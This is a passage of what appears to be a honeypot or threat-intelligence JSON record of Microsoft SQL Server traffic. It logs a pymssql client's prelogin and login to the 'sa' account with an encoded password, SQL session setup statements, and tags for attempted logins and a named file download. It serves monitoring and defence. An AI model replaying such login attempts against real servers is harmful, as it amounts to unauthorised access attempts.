\u0000T\u0000R\u0000A\u0000N\u0000","payload_hex":"01010038000001001600000012000000020000000000000000000100000052004f004c004c004200410043004b0020005400520041004e00","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"29491d0a3ecebea7","strings":["ROLLBACK TRAN"]},"interactive":true},{"timestamp":"2026-10-21T14:45:14","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u00002\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000B\u0000E\u0000G\u0000I\u0000N\u0000 \u0000T\u0000R\u0000A\u0000N\u0000","payload_hex":"01010032000001001600000012000000020000000000000000000100000042004500470049004e0020005400520041004e00","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7897bb7889d971ed","strings":["BEGIN TRAN"]},"interactive":true},{"timestamp":"2026-10-21T14:45:14","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0001�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000S\u0000E\u0000T\u0000 \u0000A\u0000R\u0000I\u0000T\u0000H\u0000A\u0000B\u0000O\u0000R\u0000T\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000C\u0000O\u0000N\u0000C\u0000A\u0000T\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000Y\u0000I\u0000E\u0000L\u0000D\u0000S\u0000_\u0000N\u0000U\u0000L\u0000L\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000S\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000D\u0000F\u0000L\u0000T\u0000_\u0000O\u0000N\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000P\u0000A\u0000D\u0000D\u0000I\u0000N\u0000G\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000W\u0000A\u0000R\u0000N\u0000I\u0000N\u0000G\u0000S\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000D\u0000F\u0000L\u0000T\u0000_\u0000O\u0000N\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000C\u0000U\u0000R\u0000S\u0000O\u0000R\u0000_\u0000C\u0000L\u0000O\u0000S\u0000E\u0000_\u0000O\u0000N\u0000_\u0000C\u0000O\u0000M\u0000M\u0000I\u0000T\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000Q\u0000U\u0000O\u0000T\u0000E\u0000D\u0000_\u0000I\u0000D\u0000E\u0000N\u0000T\u0000I\u0000F\u0000I\u0000E\u0000R\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000T\u0000E\u0000X\u0000T\u0000S\u0000I\u0000Z\u0000E\u0000 \u00002\u00001\u00004\u00007\u00004\u00008\u00003\u00006\u00004\u00007\u0000;\u0000","payload_hex":"010101f80000010016000000120000000200000000000000000001000000530045005400200041005200490054004800410042004f005200540020004f004e003b00530045005400200043004f004e004300410054005f004e0055004c004c005f005900490045004c00440053005f004e0055004c004c0020004f004e003b00530045005400200041004e00530049005f004e0055004c004c00530020004f004e003b00530045005400200041004e00530049005f004e0055004c004c005f00440046004c0054005f004f004e0020004f004e003b00530045005400200041004e00530049005f00500041004400440049004e00470020004f004e003b00530045005400200041004e00530049005f005700410052004e0049004e004700530020004f004e003b00530045005400200041004e00530049005f004e0055004c004c005f00440046004c0054005f004f004e0020004f004e003b00530045005400200043005500520053004f0052005f0043004c004f00530045005f004f004e005f0043004f004d004d004900540020004f004e003b005300450054002000510055004f005400450044005f004900440045004e0054004900460049004500520020004f004e003b0053004500540020005400450058005400530049005a004500200032003100340037003400380033003600340037003b00","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"841771f2a6a416f2","strings":["SET ARITHABORT ON;SET CONCAT_NULL_YIELDS_NULL ON;SET ANSI_NULLS ON;SET ANSI_NULL…"]},"interactive":true},{"timestamp":"2026-10-21T14:45:13","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0010\u0001\u0000�\u0000\u0000\u0000\u0000�\u0000\u0000\u0000\u0004\u0000\u0000t\u0000\u0010\u0000\u0000\u0006�����\u0001\u0000\u0000\u0000\u0000\u0000�\u0001\u0000\u0000����6\u0004\u0000\u0000V\u0000\u0011\u0000x\u0000\u0002\u0000|\u0000\u0007\u0000�\u0000\r\u0000�\u0000\u000e\u0000\u0000\u0000\u0000\u0000�\u0000\n\u0000�\u0000\n\u0000�\u0000\u0000\u0000RT\u0000\u0005�/�\u0000\u0000\u0000�\u0000\u0000\u0000u\u0000b\u0000u\u0000n\u0000t\u0000u\u0000-\u0000u\u0000t\u0000a\u0000h\u0000-\u00005\u00001\u00002\u0000m\u0000b\u0000s\u0000a\u0000����ᥡ�������p\u0000y\u0000m\u0000s\u0000s\u0000q\u0000l\u0000=\u00002\u0000.\u00004\u0000.\u00004\u00001\u00008\u00005\u0000.\u00002\u00002\u00008\u0000.\u00008\u00001\u0000.\u00002\u00002\u00006\u0000D\u0000B\u0000-\u0000L\u0000i\u0000b\u0000r\u0000a\u0000r\u0000y\u0000u\u0000s\u0000_\u0000e\u0000n\u0000g\u0000l\u0000i\u0000s\u0000h\u0000","payload_hex":"100100f000000000e800000004000074001000000683f2f8b0b4010000000000e001000088ffffff3604000056001100780002007c0007008a000d00a4000e0000000000c0000a00d4000a00e800000052540005922fe8000000e80000007500620075006e00740075002d0075007400610068002d003500310032006d00620073006100b1a590a5e1a5a1a5b6a586a596a5700079006d007300730071006c003d0032002e0034002e0034003100380035002e003200320038002e00380031002e00320032003600440042002d004c00690062007200610072007900750073005f0065006e0067006c00690073006800","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7b355198908f984a","strings":["ubuntu-utah-512mbsa","pymssql=2.4.4185.228.81.226DB-Libraryus_english"]},"interactive":true},{"timestamp":"2026-10-21T14:45:13","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0012\u0001\u0000:\u0000\u0000\u0000\u0000\u0000\u0000\u001a\u0000\u0006\u0001\u0000 \u0000\u0001\u0002\u0000!\u0000\f\u0003\u0000-\u0000\u0004\u0004\u00001\u0000\u0001�\t\u0000\u0000\u0000\u0000\u0000\u0000MSSQLServer\u0000��\u0001\u0000\u0000","payload_hex":"1201003a0000000000001a00060100200001020021000c03002d00040400310001ff090000000000004d5353514c53657276657200b0b4010000","method":"","user_agent":"","ja3":"","session":"ec96f0a5-20b2-4b07-8f12-a99256555b96-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"bf236c419c78c454","strings":["MSSQLServer"]},"interactive":true}],"http_methods":[],"distinct_ports_total":4,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":8},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":8}]}